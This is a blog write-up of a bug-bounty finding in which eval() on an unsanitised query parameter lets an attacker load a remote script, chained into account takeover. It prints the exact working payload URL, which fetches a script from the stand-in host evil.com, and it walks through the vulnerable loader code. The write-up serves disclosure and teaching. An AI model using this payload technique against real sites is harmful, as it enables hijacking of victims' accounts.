Reflected XSS Through Insecure Dynamic Loading

3 years ago 215
BOOK THIS SPACE FOR AD
ARTICLE AD

Finding A Unique and Complex Payload To Load Remote Scripts

Greg Gibson

STOP! Before reading this article, I encourage you to try this XSS Challenge for yourself. I’ve incorporated the core elements of the vulnerability into a simple static page here: https://d11dkd80d59ds1.cloudfront.net/. While this article will walk you through the full exploit, I’ll warn you that it is far more complicated than the typical injection and as such the solution might make more sense if you take the time to try it yourself.

Try this XSS Challenge for yourself before reading this article. While this article will walk you through the full exploit, I’ll warn you that it is far more complicated than the typical injection and as such the solution might make more sense if you take the time to try it yourself.

Recently while hunting a private program on Bugcrowd I discovered both the user’s email address and security questions could be modified WITHOUT password verification or any other security checks in place. This combination would allow an attacker to successfully perform an account takeover; however, I needed a remote exploit to justify a submission.

For those new to or unfamiliar with Bug Bounty hunting, vulnerabilities in and of themselves do not translate to accepted submissions. In this case, I’d discovered a P5 Lack of Password Confirmation — Change Email Address¹. P5’s are the lowest severity level (with P1 being the highest) and one that typically does not receive a bounty. To truly demonstrate an impact you need a working, and importantly remote, exploit, but as it stood, an attacker would need physical access to the victim’s machine which generally results in the dreaded Won’t Fix.

The good news is exploit chaining is generally always in scope (at least to the extent required to show impact) so the only thing standing between me and a payday is a subdomain takeover or cross site scripting (XSS) vulnerability.

I spent hours cruising the website, looking for any possible XSS and was close to giving up. I had exhausted every item flagged through Burp Pro’s Issue Activity and manually started reviewing the source code on every page when I noticed something odd — var isDebug = getQuerystring(‘debug’, ‘false’); sitting in a script block near the top of index.html. The getQueryString() function was simple enough — in fact it’s commonly quoted on Stack Overflow (which I was completely unaware of at the time) — and provided a simple opportunity to influence the DOM, albeit not in an immediately exploitable way.

var isDebug = getQuerystring(‘debug’, ‘false’);function getQuerystring(key, default_) {
if (default_ == null) default_ = "";
key = key.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
var regex = new RegExp("[\\?&]" + key + "=([^&#]*)");
var qs = regex.exec(window.location.href);
if (qs == null)
return default_;
else
return decodeURIComponent(qs[1]);
}

The basic gist of this function is it will return a specific parameter from the URL query string if it exists (in this case debug), otherwise it will return the default_ value provided in the function call (in this case false)— meaning an attacker can influence the return value by providing the query parameter. Searching through my Burp History I discovered this same function in use on several pages but generally with benign outcomes. That is, until I found one page using the return value in a unique way.

ViewGadgets.html was the only page using the getQueryString() function with an argument other than debug. In addition, the resultant value was passed into several other functions that appeared to dynamically load one of several JavaScript files. At this point I started thinking there was a 50/50 chance an exploit could be found and I quickly copied the relevant portions of the source code to a local HTML file to enable further testing. Beginning with the entry point I observed:

$(document).ready(function() {
init();
});
function init() {
...
var gadgetFileName = getQuerystring(‘gadgetFileName’);
loadGadget(gadgetFileName);
}

Using my local copy of the source, I loaded the page with the query parameter ?gadgetFileName=test and began debugging the script to understand the full flow.

Using the debugger and breakpoints to understand the script execution.

Breaking it down, the init() function includes a call to var gadgetFileName = getQuerystring(‘gadgetFileName’); which parses the query string parameters for a parameter named gadgetFileName. The getQueryString() function ultimately returns the raw query string input which is controlled by the attacker and thus should be considered untrusted and subsequently sanitized. In this case, this unsanitized input is then passed to loadGadget() which is shown below in its entirety along with a few inline comments I've generated to explain the code:

At a high level, the query string value is stored in both the _jsFileName and gadgetName variables. The script attempts to load an additional local script using the relative path ./scripts/widgets/gadgets/<query parameter> and subsequently instantiate a new object from the resulting import through the use of eval(). For example, if the query parameter was ?gadgetFileName=gadget.js, then this code block would load ./scripts/widgets/gadgets/gadget.js and instantiate a new object of type gadget with eval(“new gadget()”). That’s the intention anyway — let’s see how we can abuse it.

After seeing the query parameter ultimately being passed into the eval() statement I began searching for ways to trigger an alert box. For those who are not JavaScript developers, eval() is a built-in function that “evaluates JavaScript code represented as a string”.² For example, passing a string such as eval(“alert(document.domain)”) would result in a pop up message containing the domain name of the website. It’s original purpose was to allow dynamic code generation — in this case loading a specific JavaScript file based on the user’s actions, but generally should be approached with extreme caution.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

With an understanding of the code, the goal is now to craft a parameter value that can survive several transformations and result in execution through the eval() function. As an added challenge, we must supply a value such that $.getScript successfully loads a legitimate file ensuring the code enters the .done block, but we must also work with the new operator appended to any String we inject — meaning our injection must “create an instance of a user-defined object type or of one of the built-in object types that has a constructor function”. ³

**Note: I wouldn’t recommend adding this payload to your list — it is VERY specific to this website. Rather, use the concepts in your hunting.**

Explaining all of the attempts I made to discover a possible injection would take several articles. The short version is I tested using a local copy of the script, heavily used the debugger, and modified the code as needed which mostly was to remove the try/catch statements so I could better understand exceptions as they happened.

The final working malicious payload was https://www.example.com/?gadgetFileName=Function(%27%24.getScript(%22https%3a%2f%2fevil.com%2fexploit.js%22)%27)()%2f/../../../../../widgetsSummary.js which enabled me to load the external JavaScript file hosted at https://evil.com/exploit.js.

For ease of explanation, I’ve inserted the payload into the code as it would be executed:

Like eval(), new Function() allows us to pass a String which will be evaluated as code. Appending a second set of parenthesis such as new Function()() makes the function self-invoking, meaning it executes immediately after declaration.‘$.getScript(“https://evil.com/exploit.js")' is the String passed into new Function(), which uses jQuery to load a remote script. This is the malicious portion and could be as simple as an alert box.The JavaScript comments // prevent the rest of the injection ../../../../../widgetsSummary.js from creating a syntax issue within the context of new Function().Lastly, the path traversal and file name are setup to ensure the call to $.getScript(“./scripts/widgets/gadgets/” + _jsFileName) within loadGadgets() succeeds to get the code to the success (.done) code block. It was mostly trial and error to find the right number of ../ in order to traverse to the gadgets directory, and will be different depending on the payload. Thankfully this part can be observed in the network connections tab of the developer console. The widgetsSummary.js file was referenced in a separate function on the page and confirmed to be a legitimate and accessible file.

The ability to inject a remote, attacker controlled JavaScript file into the page opens up endless opportunities. In this case, I successfully demonstrated a Proof of Concept that could capture CSRF tokens and update a victim’s email and security questions. Although it could lead to account takeover, it DOES require victim interaction — visiting the attacker crafted link — and was triaged as a P2, a significant improvement from P5 Lack of Password Confirmation: Change Email Address.

I’m not very active on Social Media, but you can find me on LinkedIn, Bugcrowd, or hanging out in various security Slack or Discord servers!

Read Entire Article